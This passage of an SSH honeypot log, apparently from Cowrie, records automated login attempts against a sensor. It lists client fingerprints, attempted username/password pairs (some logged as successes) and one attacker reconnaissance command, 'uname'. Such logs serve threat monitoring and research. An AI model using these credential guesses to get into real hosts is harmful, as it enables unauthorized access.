ncCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:18:43.566564Z","src_ip":"202.184.134.88","session":"206d8d3f9a65","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:18:44.591098Z","src_ip":"202.184.134.88","session":"206d8d3f9a65","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.1","message":"Connection lost after 7.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:18:44.832633Z","src_ip":"202.184.134.88","session":"54f083c35e25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:18:44.841667Z","src_ip":"202.184.134.88","session":"206d8d3f9a65","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":45574,"dst_ip":"10.17.0.5","dst_port":22,"session":"81928b2a7b44","protocol":"ssh","message":"New connection: 2.57.122.208:45574 (10.17.0.5:22) [session: 81928b2a7b44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:18:55.046852Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:18:55.051293Z","src_ip":"2.57.122.208","session":"81928b2a7b44","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:18:55.154871Z","src_ip":"2.57.122.208","session":"81928b2a7b44","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123","message":"login attempt [sol/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:18:55.782506Z","src_ip":"2.57.122.208","session":"81928b2a7b44","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:18:56.941098Z","src_ip":"2.57.122.208","session":"81928b2a7b44","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":53888,"dst_ip":"159.203.135.109","dst_port":22,"session":"c51bc8613c3f","protocol":"ssh","message":"New connection: 2.57.121.112:53888 (159.203.135.109:22) [session: c51bc8613c3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:19:45.042526Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:19:45.047200Z","src_ip":"2.57.121.112","session":"c51bc8613c3f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:19:45.151217Z","src_ip":"2.57.121.112","session":"c51bc8613c3f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"01021971","message":"login attempt [admin/01021971] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:19:45.629499Z","src_ip":"2.57.121.112","session":"c51bc8613c3f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"01012012","message":"login attempt [admin/01012012] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:19:46.734200Z","src_ip":"2.57.121.112","session":"c51bc8613c3f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"0013","message":"login attempt [admin/0013] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:19:47.838589Z","src_ip":"2.57.121.112","session":"c51bc8613c3f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"000420","message":"login attempt [admin/000420] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:19:48.942784Z","src_ip":"2.57.121.112","session":"c51bc8613c3f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"000333","message":"login attempt [admin/000333] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:19:50.047299Z","src_ip":"2.57.121.112","session":"c51bc8613c3f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:19:51.151882Z","src_ip":"2.57.121.112","session":"c51bc8613c3f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.58.136.133","src_port":53668,"dst_ip":"159.203.135.109","dst_port":22,"session":"fefe48ed0aa9","protocol":"ssh","message":"New connection: 37.58.136.133:53668 (159.203.135.109:22) [session: fefe48ed0aa9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:19:55.230416Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:19:55.234733Z","src_ip":"37.58.136.133","session":"fefe48ed0aa9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:19:55.334458Z","src_ip":"37.58.136.133","session":"fefe48ed0aa9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.2.125","src_port":38684,"dst_ip":"159.203.135.109","dst_port":22,"session":"e7a4a32971f9","protocol":"ssh","message":"New connection: 14.225.2.125:38684 (159.203.135.109:22) [session: e7a4a32971f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:20:44.998460Z"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:20:45.266187Z","src_ip":"14.225.2.125","session":"e7a4a32971f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.2.125","src_port":38694,"dst_ip":"159.203.135.109","dst_port":22,"session":"25dbb0009648","protocol":"ssh","message":"New connection: 14.225.2.125:38694 (159.203.135.109:22) [session: 25dbb0009648]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:20:45.543051Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:20:45.547437Z","src_ip":"14.225.2.125","session":"25dbb0009648","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:20:45.826377Z","src_ip":"14.225.2.125","session":"25dbb0009648","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"samantha","message":"login attempt [root/samantha] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:20:46.663560Z","src_ip":"14.225.2.125","session":"25dbb0009648","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:20:47.257142Z","src_ip":"14.225.2.125","session":"25dbb0009648","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:20:47.260794Z","src_ip":"14.225.2.125","session":"25dbb0009648","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:20:47.548446Z","src_ip":"14.225.2.125","session":"25dbb0009648","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:20:47.553582Z","src_ip":"14.225.2.125","session":"25dbb0009648","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":53164,"dst_ip":"10.17.0.5","dst_port":22,"session":"21f1ca7bc1fd","protocol":"ssh","message":"New connection: 2.57.122.208:53164 (10.17.0.5:22) [session: 21f1ca7bc1fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:21:07.556539Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:21:07.561271Z","src_ip":"2.57.122.208","session":"21f1ca7bc1fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:21:07.709500Z","src_ip":"2.57.122.208","session":"21f1ca7bc1fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"1234","message":"login attempt [sol/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:21:08.448976Z","src_ip":"2.57.122.208","session":"21f1ca7bc1fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:21:09.634151Z","src_ip":"2.57.122.208","session":"21f1ca7bc1fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:21:55.243555Z","src_ip":"37.58.136.133","session":"fefe48ed0aa9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.156.73.233","src_port":62550,"dst_ip":"159.203.135.109","dst_port":22,"session":"7f4d51c6e821","protocol":"ssh","message":"New connection: 185.156.73.233:62550 (159.203.135.109:22) [session: 7f4d51c6e821]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:22:01.051911Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.156.73.233","src_port":35708,"dst_ip":"10.17.0.5","dst_port":22,"session":"f7932beb0700","protocol":"ssh","message":"New connection: 185.156.73.233:35708 (10.17.0.5:22) [session: f7932beb0700]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:22:01.641856Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.10.5","message":"Remote SSH version: SSH-2.0-libssh_0.10.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:22:02.944791Z","src_ip":"185.156.73.233","session":"7f4d51c6e821","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"1f2f2f9b0a736952f743e5490c64c98a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,chacha20-poly1305@openssh.com,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","chacha20-poly1305@openssh.com","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 1f2f2f9b0a736952f743e5490c64c98a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:22:03.097052Z","src_ip":"185.156.73.233","session":"7f4d51c6e821","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.10.5","message":"Remote SSH version: SSH-2.0-libssh_0.10.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:22:03.759045Z","src_ip":"185.156.73.233","session":"f7932beb0700","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"1f2f2f9b0a736952f743e5490c64c98a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,chacha20-poly1305@openssh.com,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","chacha20-poly1305@openssh.com","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 1f2f2f9b0a736952f743e5490c64c98a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:22:03.831134Z","src_ip":"185.156.73.233","session":"f7932beb0700","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123456","message":"login attempt [admin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:22:04.271882Z","src_ip":"185.156.73.233","session":"7f4d51c6e821","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123456","message":"login attempt [admin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:22:04.528059Z","src_ip":"185.156.73.233","session":"f7932beb0700","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.3","message":"Connection lost after 4.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:22:05.370394Z","src_ip":"185.156.73.233","session":"7f4d51c6e821","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.1","message":"Connection lost after 4.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:22:05.718345Z","src_ip":"185.156.73.233","session":"f7932beb0700","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":42548,"dst_ip":"10.17.0.5","dst_port":22,"session":"dbc463c80520","protocol":"ssh","message":"New connection: 2.57.122.208:42548 (10.17.0.5:22) [session: dbc463c80520]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:23:16.420235Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:23:16.424858Z","src_ip":"2.57.122.208","session":"dbc463c80520","protocol":"ssh"}
